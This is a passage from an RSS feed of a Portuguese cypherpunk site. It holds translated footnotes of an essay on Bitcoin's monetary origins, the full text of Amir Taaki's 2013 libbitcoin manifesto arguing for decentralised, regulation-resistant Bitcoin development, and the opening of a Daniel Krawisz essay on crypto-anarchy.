&lt;p>Matt Ridley desenvolve tal evidência no contexto de lidar com o caso muito maior de trocar um coisa por outra coisa diferente ao mesmo tempo - em oposição ao tipo de reciprocidade retardada de favores, que também é encontrada em outras espécies - como talvez algo que possa ser a única característica distintiva que apareceu pela primeira vez com o &lt;em>Homo sapiens sapiens&lt;/em> (e não com os primos conhecidos mais próximos tais como o &lt;em>Homo heidelbergensis&lt;/em> e o &lt;em>Homo neanderthalensis&lt;/em>) e que tornou possível a composição da especialização e a acumulação de conhecimento (RIDLEY, Matt. &lt;em>The Rational Optimist: How Prosperity Evolves.&lt;/em> New York: Harper, 2010. Esp. cap. 2.).&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:25">
&lt;p>Nick Szabo. 2002. &amp;ldquo;Shelling Out: The Origins of Money&amp;rdquo;. &lt;a href="http://nakamotoinstitute.org/shelling-out/" target="_blank" rel="noopener noreferrer">&lt;em>nakamotoinstitute.org&lt;/em>&lt;/a>
.&amp;#160;&lt;a href="#fnref:25" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:26">
&lt;p>Eles apenas &amp;ldquo;existem&amp;rdquo; como relacionamentos especificados entre várias categorias distintas de dados criptográficos. Sobre o tema dos &amp;ldquo;colecionáveis&amp;rdquo; proto-monetários, é interessante notar que, embora o MtGox tenha mudado para ser uma corretora de Bitcoin em 2010, ele havia sido fundada em 2009 como uma corretora de cartões de negociação virtuais usados no jogo &lt;em>Magic: The Gathering Online&lt;/em>— assim surgiu seu nome acronímico. Este é o DNA moderno da empresa orientada a “colecionáveis”, se é que alguma vez houve alguma.&amp;#160;&lt;a href="#fnref:26" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:27">
&lt;p>MENGER, Carl. On the Origins of Money. Auburn, AL: Ludwig von Mises Institute, 2009 [1892]. p. 12-13.&amp;#160;&lt;a href="#fnref:27" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:28">
&lt;p>Aqueles familiarizados com o modelo integral de todos os quadrantes desenvolvido pelo filósofo americano Ken Wilber podem reconhecer sua aplicação parcial nesta e na seção anterior. Em um eixo, a divisão dualista epistemológica entre interior (significado) e exterior (matéria) é representada na divisão entre a econômica (ação baseada no sentido Misesiano) e a técnica. O outro eixo, a dualidade das perspectivas unitárias e do sistema, é então representado na seção atual. Para uma visão geral relativamente acessível do modelo integral de todos os quadrantes e os conceitos relacionados em um contexto mais amplo, consulte Wilber 1998.&amp;#160;&lt;a href="#fnref:28" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:29">
&lt;p>Embora chaves privadas também possam ser fisicamente transferidas offline usando tokens e cartões físicos, a segurança e a confiabilidade de tais procedimentos permanecem altamente experimentais.&amp;#160;&lt;a href="#fnref:29" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:30">
&lt;p>22 de setembro de 2013. &amp;quot; Professor Walter Block is clueless about Bitcoin&amp;quot; &lt;a href="http://www.economicsofbitcoin.com/2013/09/professor-walter-block-is-clueless.html" target="_blank" rel="noopener noreferrer">&lt;em>economicsofbitcoin.com/&lt;/em>&lt;/a>
&amp;#160;&lt;a href="#fnref:30" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:31">
&lt;p>Veja meu “The labor, leisure, and happiness game: Psychology, praxeology, and ethics.&amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/9/15/the-labor-leisure-and-happiness-game-psychology-praxeology-a.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
.&amp;#160;&lt;a href="#fnref:31" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:32">
&lt;p>Consulte o apêndice B para um gráfico de preços de cinco anos e todos os tempos.&amp;#160;&lt;a href="#fnref:32" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:33">
&lt;p>No Bloco &lt;a href="http://blockchain.info/tx/49d2adb6e476fa46d8357babf78b1b501fd39e177ac7833124b3f67b17c40c2a" target="_blank" rel="noopener noreferrer">57035&lt;/a>
&amp;#160;&lt;a href="#fnref:33" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:34">
&lt;p>Consulte o apêndice A para uma interpretação monetária-histórica dos padrões de eventos de notícias por ano.&amp;#160;&lt;a href="#fnref:34" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:35">
&lt;p>O Bitcoin é frequentemente criticado por seus amplos movimentos de preços. Este é principalmente um artefato advindo do fato que ainda é jovem e pequeno em escala, tornando-o suscetível a altos e baixos do ciclo de conscientização da mídia. Dito isto, o primeiro movimento dramático para cima e para baixo em 2011 também pode ser causador da imposição contínua do governo de políticas de proibição. Sem eles, o aumento da demanda dos futuros participantes do então novo mercado de proibição on-line da Silk Road teria sido muito mais modesto em comparação com os movimentos dos mercados comuns não assediados pelos resultados sempre estranhos e perigosos das políticas de proibição. Isso provavelmente explica o efeito único de preços &amp;ldquo;montanha&amp;rdquo; ano após ano visto em 2011 em termos anuais. Veja meu 25 de julho de 2013, &amp;quot; Tiger cub growing up? Bitcoin weekly average closing prices year over year,&amp;quot;, &lt;a href="http://konradsgraf.com/blog1/2013/7/25/tiger-cub-growing-up-bitcoin-weekly-average-closing-prices-y.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&amp;#160;&lt;a href="#fnref:35" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:36">
&lt;p>Alguns casos isolados não podem ser descartados, mas nenhum padrão de tal uso é visível no registro histórico, situação que muda inequivocamente em 2011 e em diante.&amp;#160;&lt;a href="#fnref:36" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:37">
&lt;p>No entanto, isso era muito raro. Uma varredura casual através da cadeia de blocos de 2009 revela um grande número de blocos que não contêm nada além de uma transação de geração.&amp;#160;&lt;a href="#fnref:37" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:38">
&lt;p>Em referência ao icônico comercial da Apple de 1997, “&lt;a href="https://www.youtube.com/watch?v=tjgtLSHhTPg" target="_blank" rel="noopener noreferrer">Está é para os loucos&lt;/a>
”&amp;#160;&lt;a href="#fnref:38" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:39">
&lt;p>bitcoin-otc.com. Registro de doações: 1F1dPZxdxVVigpGdsafnZ3cFBdMGDADFDe&amp;#160;&lt;a href="#fnref:39" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:40">
&lt;p>Isso leva ao gráfico de três anos desenvolvido no meu artigo de 25 de julho de 2013 &amp;quot; Tiger cub growing up? Bitcoin weekly average closing prices year over year &amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/7/25/tiger-cub-growing-up-bitcoin-weekly-average-closing-prices-y.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
e estende-o por 1) adicionar novos dados subsequentes e 2) tentando rastrear de volta para o passado pré-MtGox.&amp;#160;&lt;a href="#fnref:40" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:41">
&lt;p>Citado da &lt;a href="http://newlibertystandard.wikifoundry.com/page/Exchange&amp;#43;Rate" target="_blank" rel="noopener noreferrer">página de 2010&lt;/a>
. Para os preços do NLS de 2010, peguei os preços de oferta diária listados de Bitcoins para unidades de grama de ouro e estimei um preço típico aproximado para cada semana do calendário. Eu converti isso em termos de dólar a preço de dólar por grama de ouro para aquela semana usando dados históricos do &lt;a href="http://gold.org/investment/statistics/gold_price_chart/" target="_blank" rel="noopener noreferrer">Conselho Mundial do Ouro&lt;/a>
. Finalmente converti as cotações resultantes de Bitcoins por dólar em cotações de dólar por Bitcoin para caber no resto do gráfico. O gráfico mostra que os preços médios listados para o Bitcoin Market funcionam em média por terem ficado abaixo da média de da NLS dos preços de compra dos custos de produção durante este período.&amp;#160;&lt;a href="#fnref:41" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:42">
&lt;p>Para 2009, a NLS explicou que sua &amp;ldquo;taxa de câmbio foi calculada dividindo $1,00 pela quantidade média de eletricidade necessária para funcionar um computador com CPU alta por um ano, 1331,5 kWh, multiplicado pelo custo residencial médio de eletricidade nos Estados Unidos no ano anterior, $0,1136, dividido por 12 meses dividido pelo número de bitcoins gerados pelo meu computador nos últimos 30 dias.&amp;rdquo;&amp;#160;&lt;a href="#fnref:42" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:43">
&lt;p>Nenhuma notícia que eu poderia encontrar especifica uma data de compra. Aqui está uma &lt;a href="http://news.com.au/money/money-assuntos/noruegu%c3%aas-student-kristoffer-koch-buys-27-in-bitcoin-in-2009-now-he-owns-an-apartment/story-e6frfmd9-1226748159679" target="_blank" rel="noopener noreferrer">história de exemplo&lt;/a>
.&amp;#160;&lt;a href="#fnref:43" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content:encoded></item><item><title>O Manifesto libbitcoin</title><link>https://cypherpunks.com.br/documentos/o-manifesto-libbitcoin/</link><pubDate>Mon, 23 Sep 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-manifesto-libbitcoin/</guid><description>Foi-me dito todas essas frases na minha vida. Que aprender a aceitar autoridade é uma parte inevitável do crescimento. Que meu personagem é definido pela minha aparência, não como eu ajo. Que meu único propósito é ser um escravo do trabalho. Para evitar a interação com desconhecidos aleatórios fora do meu círculo. E essa responsabilidade …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: jeffeson
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="o-manifesto-libbitcoin">O Manifesto libbitcoin&lt;/h1>
&lt;p>&lt;!-- raw HTML omitted -->Amir Taaki&lt;br>
23 de Setembro de 2013&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/wp-content/uploads/2018/10/img26.jpg" loading="lazy"
/>
&lt;/p>
&lt;blockquote>
&lt;p>“&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->Ferramentas para as pessoas” ~Cody Wilson, Defesa Distribuída.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;/blockquote>
&lt;p>Como humanos, compartilhamos pouco em comum. Mas o pouco que compartilhamos é o núcleo profundo de nosso ser. Nós procuramos por propósito. Somos curiosos. E nós prosperamos em novas informações. Nossa autoconsciência, racionalidade e sapiência são as características de alto nível que compõem uma pessoa. Essas são nossas capacidades para o bem ou o mal.&lt;/p>
&lt;p>Como pessoas, precisamos nos perguntar se agimos com propósito, intenção e ambição, perguntamos como estamos nos definindo e quais são os valores que nossas vidas estão promovendo.&lt;/p>
&lt;p>Você está tomando medidas concretas agora para alcançar seu objetivo?&lt;/p>
&lt;p>É importante nós fazermos essas perguntas e decidir em qual extremidade do espectro entre liberdade e segurança nos fixamos. Uma vida segura de luxo e conforto fechado por quatro paredes. Ou uma vida de liberdade. Liberdade para fazer amor, tocar música alta, criar arte, lutar pelado e criar crianças confiantes que pensem.&lt;/p>
&lt;p>Ao criticar o mundo em que nascemos, é fácil apontar o dedo para este ou aquele político ou renunciar os problemas das circunstâncias. E com a percepção de falta de poder para conceder a situação é infixável e quebrada totalmente. Mas se quisermos saber a quem culpar, precisamos apenas olhar para um espelho. Nós sustentamos a situação. São pessoas, não governantes, que criam o mundo de hoje.&lt;/p>
&lt;p>Alguns de nós concluem que a situação é apenas um estado normal de coisas, é simplesmente a natureza humana. Como se houvesse uma natureza humana! E desconsiderando que todos nós evoluímos e crescemos como pessoas em diferentes direções durante nossas vidas.&lt;/p>
&lt;p>Pense nos valores que aprendemos quando crianças. Como somos ensinados a nos comportar como cidadãos cívicos. As frases nos são contadas por nossos pais, professores e amigos. O sistema não é apenas o estado e as corporações, é uma máquina que abrange todas as esferas da vida.&lt;/p>
&lt;p>Você pode ouvir, por exemplo:&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;O respeito por figuras de autoridade é um sinal de maturidade.&amp;rdquo;&lt;/li>
&lt;li>&amp;ldquo;Homens com bons empregos se vestem de forma inteligente e respeitável.&amp;rdquo;&lt;/li>
&lt;li>“Trabalhe duro por um bom emprego e uma boa vida. Se aposente jovem.”&lt;/li>
&lt;li>“Não fale com estranhos.”&lt;/li>
&lt;li>&amp;ldquo;A vida é sobre dinheiro. Dinheiro faz o mundo girar.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>Foi-me dito todas essas frases na minha vida. Que aprender a aceitar autoridade é uma parte inevitável do crescimento. Que meu personagem é definido pela minha aparência, não como eu ajo. Que meu único propósito é ser um escravo do trabalho. Para evitar a interação com desconhecidos aleatórios fora do meu círculo. E essa responsabilidade começa e termina comigo mesmo.&lt;/p>
&lt;p>Todos esses são valores ruins.&lt;/p>
&lt;p>Nós não nascemos com esses valores. Eles são programados em nós desde tenra idade. Felizmente o conhecimento supre o processo de desaprendizagem e a internet é uma ferramenta de desaprendizagem.&lt;/p>
&lt;p>Você já questionou os 15 anos de nossa preciosa infância, do jardim de infância ao ensino médio? Nós frequentamos uma prisão com horários fixos e jantar em um horário determinado. Somos obrigados a usar uniformes. Se você quiser falar, precisa levantar a mão. Se você precisa ir ao banheiro, você deve pedir permissão. E as lições são um pouco mais que exercícios de informações com a promessa de honras e qualificações.&lt;/p>
&lt;p>A recompensa por pular fielmente por todas essas argolas por 15 anos é um pedaço de papel sem valor que nem é exigido para um emprego no McDonalds. E os trabalhadores ainda precisam de treinamento. Nossos filhos não são ensinados a cozinhar uma refeição saudável, cultivar um jardim ou até mesmo um conceito rudimentar de como organizar ou liderar grupos de pessoas sem sequer um vislumbre de compreensão sobre como resolver conflitos sem violência. Ou os princípios da lógica e como questionar uma ideologia. As crianças são ensinadas a sentar em uma mesa e ouvir obedientemente enquanto o mundo é empacotado em caixas arrumadas.&lt;/p>
&lt;p>A escola é um pouco mais do que um campo de treinamento para zangões assalariados destinados a formatar mentes jovens para uma vida de subserviência, muito estúpida para questionar o próprio sistema ou a autoridade daqueles que o administram. Nós não nascemos com valores ruins. Eles são ligados a nós desde tenra idade.&lt;/p>
&lt;p>Vamos falar sobre bons valores.&lt;/p>
&lt;p>Responsabilidade é satisfazer suas necessidades para ter uma existência digna e, em seguida, expandir esse círculo para as pessoas ao seu redor. Ajudar a aumentar e eliminar o potencial de outras pessoas livres para que juntos possamos prosperar. A ação comunitária e coletiva é absolutamente essencial se quisermos nos erguer. O sistema prospera separando as pessoas em bolsos isolados que obtêm suas informações da TV e sua cultura das corporações. Unidos juntos, somos mais fortes.&lt;/p>
&lt;blockquote>
&lt;p>“Vires in numeris”&lt;/p>
&lt;/blockquote>
&lt;p>Independência e autonomia é a capacidade de agir. Se sempre precisarmos de terceiros e organizações centrais para resolver disputas, resolvermos nossos problemas e nos coordenarmos, então estamos condenados como espécie. As autoridades centrais são sempre um imã para a corrupção e isso nunca mudará. Aprenda a ser autossuficiente e faça as coisas acontecerem.&lt;/p>
&lt;p>A compreensão não é uma habilidade fácil de desenvolver, mas é muito poderosa. Ser capaz de entrar na mente das pessoas, ouvir e ser capaz de satisfazer suas necessidades é liderança. Um líder serve e inspira pessoas para a ação, enquanto um governante usa a coerção. Por toda a sua grandeza e força, os governantes não podem aproveitar o potencial real das pessoas. Ninguém pensa sob coação.&lt;/p>
&lt;p>Precisamos de indivíduos assertivos que se mantenham inflexíveis pelo que acreditam. Se você sabe que algo está certo, então lute pela sua visão. Isso vai acontecer. O sistema se alimenta de passividade e dar consentimento para sua força exclusiva alimenta a máquina.&lt;/p>
&lt;p>Por fim, vamos abordar o mundo como artistas e trazer criatividade ao nosso trabalho. O mundo é diversificado, colorido e vibrante. Os seres humanos não estão destinados a viver em pequenas caixas e selvas de concreto cinza. Viva a arte e seja criativo. Seu trabalho é arte. A boa arte faz as pessoas pensarem e sentirem.&lt;/p>
&lt;p>O papel das pessoas boas é a vanguarda do amanhã.&lt;/p>
&lt;blockquote>
&lt;p>“O castigo que os bons pagam pela indiferença aos assuntos públicos é serem governados pelos maus.” ~ Platão&lt;/p>
&lt;/blockquote>
&lt;p>É uma história antiga. David vs Golias. Rebeldes da Frota Estelar vs Estrela da Morte Galáctica. Revolucionários anarquistas vs o império fascista. Ambos os lados existem há séculos e a luta continua. No entanto, nas últimas décadas, com a situação política única, a internet e uma consciência crescente entre as pessoas, o equilíbrio de poder está mudando a nosso favor desta vez.&lt;/p>
&lt;p>Os seres humanos podem olhar para um futuro menos dominado pelas hierarquias de comando do passado e mais por prósperos mercados de conhecimento e mérito.&lt;/p>
&lt;p>Lembro-me de uma página azul amadora no verão de 2010 descrevendo uma moeda p2p que “não pode ser controlada por governos ou bancos centrais”. Extremamente cético, mergulhei no código e descobri uma ideia que se queimou em minha memória. Minha mente trancou o Bitcoin. Eu percebi que esse projeto desconhecido é o futuro do dinheiro.&lt;/p>
&lt;p>Bitcoin é uma ferramenta de resistência que nos é oferecida por Satoshi. A ideia escapou e a ideia de criptomoeda não será interrompida. Bitcoin ou alguma outra criptomoeda terá sucesso.&lt;/p>
&lt;p>Bitcoin é o comércio direto peer-to-peer. A transferência de valor mais pura possível entre duas ou mais pessoas. Uma interação direta e pessoal sobre a infraestrutura digital. Bem vindo ao futuro do mercado negro. Valores reais, pessoas reais e mercados não corrompidos.&lt;/p>
&lt;p>A internet é uma ferramenta de liberdade e autodeterminação. Interferir em sua mecânica é destrutivo. Sempre que um site é bloqueado, um protocolo é corrompido em algum nível baixo ou ocorre uma indesejável traffic shaping então as ondas sísmicas de censura e destruição levam à degradação da rede. A internet é fundamental para a humanidade e deve ser protegida a todo custo.&lt;/p>
&lt;p>O Bitcoin não é diferente e deve ser mantido puro.&lt;/p>
&lt;p>Existem riscos reais para o Bitcoin.&lt;/p>
&lt;p>O protocolo não é um sistema axiomático estabelecido por Satoshi. Está constantemente mudando, evoluindo rapidamente e o ritmo está acelerando. Os riscos são mais sutis e prováveis do que um governo exigindo mudanças nos fundamentos do protocolo do Bitcoin. O efeito assustador da autocensura.&lt;/p>
&lt;p>Nós nem precisamos tocar no protocolo.&lt;/p>
&lt;p>À medida que o Bitcoin cresce, a especialização inevitável começa a aparecer. O blockchain está se movendo para serviços especializados e o futuro dos nós completos do Bitcoin está no servidor, não em computadores pessoais. Temos que acordar, nos adaptar e trabalhar com a realidade, em vez de persistir na autonegação.&lt;/p>
&lt;p>Se o desenvolvimento for muito centralizado, com uma pequena infraestrutura básica, as empresas colocarão pressão real para ter recursos que destruam a integridade da rede Bitcoin. A desculpa será proteger-se da responsabilidade. Autocensura.&lt;/p>
&lt;p>E o que eles exigem não tem que ser mudanças de protocolo. Eles exigirão recursos no software que eles usam. Software que permanece compatível com a rede, mas funciona contra os interesses de indivíduos, pequenas empresas e o mercado negro.&lt;/p>
&lt;p>Os possíveis cenários maliciosos são infinitos. Coisas como listas negras p2p para criar um jardim murado &amp;rsquo;legítimo&amp;rsquo; ou tecnologias de rastreamento como grandes bancos de dados de endereços IP para triangular de onde as transações vieram. No outro extremo do espectro está colocando o esforço de desenvolvimento em diversificar o ecossistema para proteger contra nós de retransmissão de censura e proxy, mixadores de anonimato, pequenos ajustes de privacidade e outras tecnologias. É aí que os desenvolvedores que acreditam no Bitcoin devem dedicar tempo. Corporações são poderosas o suficiente. Para desenvolvedores: atenda sua comunidade.&lt;/p>
&lt;p>Um Bitcoin diversificado de muitas carteiras e implementações é um Bitcoin forte e puro. Para proteger a integridade da rede, precisamos eliminar pontos únicos de falha. Um Bitcoin inato com o mesmo código de software em todos os lugares compartilha as mesmas fraquezas e é suscetível aos mesmos ataques. Um único patógeno pode eliminar uma população geneticamente homogênea. O software centralizado é vulnerável aos ditames de quem controla o desenvolvimento desse código de software e qualquer ditado é imposto a eles.&lt;/p>
&lt;p>As implicações de um Bitcoin diversificado é um Bitcoin difícil de controlar. Ele também define o protocolo em pedra, como ninguém tem poder exclusivo sobre o padrão. O consenso de muitas partes é o caminho a seguir.&lt;/p>
&lt;p>A maneira correta de desenvolver um padrão é ter muitas partes concorrentes diferentes que exigem interesses e acordos mútuos para passar por mudanças. A história está repleta de abusos, como quando o Internet Explorer dominou o mercado de navegadores e constantemente quebrou o padrão da Web ao introduzir extensões proprietárias. Seu motivo era engolir o mercado e bloquear usuários no Internet Explorer. O resultado foi uma web quebrada. Um monopólio gosta de dominar o mercado, excluir concorrentes e erguer altas barreiras à entrada.&lt;/p>
&lt;p>Um ecossistema diversificado protege contra a falta de recursos ou inchaço do padrão. Recursos extras vão além da função básica do Bitcoin e podem resultar em complicações em vez de simples design. Visto por um período mais longo, recursos extras ou desnecessários parecem se infiltrar no sistema além dos objetivos iniciais e do pequeno código de 15.000 linhas definidos por Satoshi. O resultado será um Bitcoin que se torna cada vez mais difícil de entender ou implementar sem um enorme investimento inicial de recursos, tempo e pessoas. Nenhuma única pessoa entenderá completamente o Bitcoin e os monopólios de desenvolvimento serão reforçados.&lt;/p>
&lt;p>O Linux é o sistema operacional mais seguro devido à sua diversidade. Não existe um único exploit que seja universal em todas as versões do Linux. O Bitcoin deve evoluir da mesma forma para se tornar um sistema resiliente e resistente capaz de atender a um público global.&lt;/p>
&lt;p>Um padrão massivo é difícil de reimplementar. Satoshi Nakamoto nos presenteou com um Bitcoin pequeno, concentrado e puro.&lt;/p>
&lt;p>Não há necessidade de compromisso. Vamos empurrar para a nossa visão completa. Bitcoin está aqui. Nós temos a iniciativa e nos posicionamos agora. Nós temos o poder e agora é a hora. Mais tarde não. Agora.&lt;/p>
&lt;p>Um século depois de a imprensa ser inventada, guerras, conflitos sociais e revoluções surgiram em toda a Europa. Reis antigos, líderes religiosos reverenciados e governantes tirânicos foram removidos do poder. As pessoas agora podiam ler o que estava sendo escrito em suas bíblias. A impressão em massa da Bíblia era subversiva. O que foi escrito em suas bíblias não é o que eles estavam sendo providos. Diante de provas concretas, as pessoas dissipavam velhas noções do que sua religião estava dizendo.&lt;/p>
&lt;p>Nossa economia vai mudar. Bitcoin vai subir como uma tecnologia fundamental. Buscando a aprovação dos corredores de Washington e o consentimento do status quo é mero favorecimento como cãezinhos aos pés do sistema. Por que você voluntariamente daria seu poder? Você é estúpido?&lt;/p>
&lt;p>Algumas pessoas argumentam que jogar Bitcoin sob o ônibus e corromper o núcleo dessa tecnologia é necessário para ajudar as empresas que se especializam na troca de papel-moeda fiduciário do governo com Bitcoins. Estamos dispostos a sacrificar a pureza dessa ferramenta por alguns ganhos de curto prazo que beneficiam principalmente as corporações dos EUA? Eles atendem a necessidade do Bitcoin?&lt;/p>
&lt;p>Outros até vão mais longe, argumentando que precisamos das massas. Que ser uma maioria protege as pessoas contra agressões. Mentalidade típica de rebanho.&lt;/p>
&lt;p>E esse regulamento (e as medidas para implementá-los) são um processo típico de aceitação. Tenho novidades para você: maiorias foram abatidas como porcos ao longo da história. Sendo “pragmático”, o código fala por obediência e covardia.&lt;/p>
&lt;p>Bitcoin é o futuro. Aja como se você acreditasse nisso. Agir para prevenir a corrupção do sistema. Aja para evitar que o Bitcoin seja cooptado de alguma forma. Nós devemos preservar os princípios de Satoshi Nakamoto.&lt;/p>
&lt;p>Nós temos a iniciativa e o poder. Você conhece a verdade do mundo. Pare de apoiar seus próprios inimigos. Nós não precisamos deles. Eles precisam de nós. Você é o único dando-os poder. Retire seu consentimento. Retire seu apoio. Não aceite os termos deles ou tente ganhar um jogo onde eles definem as regras. Não tente ganhar o favor de seu governante. Não se incomode em implorar por bem-estar ou bom tratamento. Pior de tudo, não os ajude a caçar seu vizinho.&lt;/p>
&lt;p>Há tempo nós espetamos nossa bandeira no chão e fazemos nosso suporte.&lt;/p>
&lt;blockquote>
&lt;p>“&lt;!-- raw HTML omitted -->Nossa força-tarefa oferecerá soluções equilibradas e eficazes para os formuladores de políticas, autoridades, reguladores e o público”. &amp;hellip; “A Força-Tarefa, lançada em agosto, não está focada apenas na exploração infantil&amp;quot;. &amp;hellip; “O relatório detalhou como as organizações criminosas e terroristas se voltaram para a moeda digital para obter lucros do tráfico de drogas, prostituição e disseminação de imagens de abuso infantil.”&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->~ Artigo com fio de setembro sobre a Fundação Bitcoin unindo-se a uma força-tarefa para combater pornografia infantil.&lt;!-- raw HTML omitted -->&lt;/p>
&lt;/blockquote>
&lt;p>Um dia, o mestre disse ao escravo: “Faça essa coisa pequena e está tudo bem. Mantenha o bom trabalho.”. O escravo ficou feliz porque pouco foi pedido, então ele começou a criar algo legal. O mestre entrou uma semana depois e disse “faça isso também”. O escravo ficou chocado. “Mas senhor, nós tínhamos um acordo, você disse que eu só precisava fazer isso?”. O mestre respondeu “Eu mudei de ideia. Você precisa fazer isso também.”. O escravo relutantemente concordou. Pelo menos não foi tão ruim assim.&lt;/p>
&lt;p>Com o tempo, o mestre aumentou cada vez mais suas exigências sobre o escravo. A essa altura, o escravo criara algo totalmente maravilhoso e dependia disso, mas o mestre controlava seu trabalho e possuía-o.&lt;/p>
&lt;blockquote>
&lt;p>“A tarefa de um ativista não é negociar sistemas de poder com o máximo de integridade pessoal possível - é desmantelar esses sistemas.” ~ Lierra Keith&lt;/p>
&lt;/blockquote>
&lt;p>A estrada é longa e o trabalho real é necessário. Fale menos e faça mais. Há muito poucas pessoas neste mundo trabalhando em coisas que valem a pena para o povo. Mas mesmo que a carga de trabalho seja imensa e assustadora, existem passos concretos para alcançar o objetivo global.&lt;/p>
&lt;p>A verdade acontece. Nós teremos sucesso. Não espere pelos outros para agir. Devemos mergulhar de cabeça sem levar em conta as consequências e quebrar a inércia da passividade. Quando um número suficiente de pessoas faz isso, a verdadeira mudança ocorrerá.&lt;/p>
&lt;p>Lute pelo que você acredita. Se você acredita e defende uma verdade, então toda a sua energia deve ser dedicada aos seus objetivos. Sempre que você aceita um compromisso, você está agindo contra o seu objetivo. Nenhum de nós é puro. Somos falhos e imperfeitos. Mas, como pessoas boas, devemos nos esforçar para uma franqueza descomplicada em nossas ações. Nossas ações devem ser transparentes no motivo e puras no raciocínio.&lt;/p>
&lt;p>O poder está dentro de nós. Sempre esteve.&lt;/p></content:encoded></item><item><title>Criptoanarquia e o empreendedorismo libertário I</title><link>https://cypherpunks.com.br/documentos/empreendedor-libertario-1/</link><pubDate>Wed, 22 May 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/empreendedor-libertario-1/</guid><description>Liberdade é uma ideologia para todos. Ela beneficia todas as pessoas e grupos que o objetivo não requer violência. Todas as objeções a liberdade simplesmente estimularam exercícios mentais sobre o que é possível alcançar com organizações voluntarias e como elas são muito melhores em oferecer serviços que originalmente só eram possíveis …</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="daniel-krawisz">Daniel Krawisz&lt;/h3>
&lt;h4 id="capitulo-1---a-estratégia">Capitulo 1 - A estratégia&lt;/h4>
&lt;p>May 22, 2013&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="networks" src="https://cypherpunks.com.br/stuff/distributed.jpg" loading="lazy"
width="511" height="221"
/>
&lt;/p>
&lt;h3 id="empreendedorismo-libertário">Empreendedorismo Libertário&lt;/h3>
&lt;p>Liberdade é uma ideologia para todos. Ela beneficia todas as pessoas e grupos que o objetivo não requer violência. Todas as objeções a liberdade simplesmente estimularam exercícios mentais sobre o que é possível alcançar com organizações voluntarias e como elas são muito melhores em oferecer serviços que originalmente só eram possíveis pelo governo. Movimentos que em uma época eram considerados incompatíveis com o libertarianismo, como feminismo e ambientalismo [1], agora tem seus próprios braços no libertarianismo. Liberdade é como uma droga.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/napster.jpg" loading="lazy"
width="290" height="290"
/>
&lt;/p>
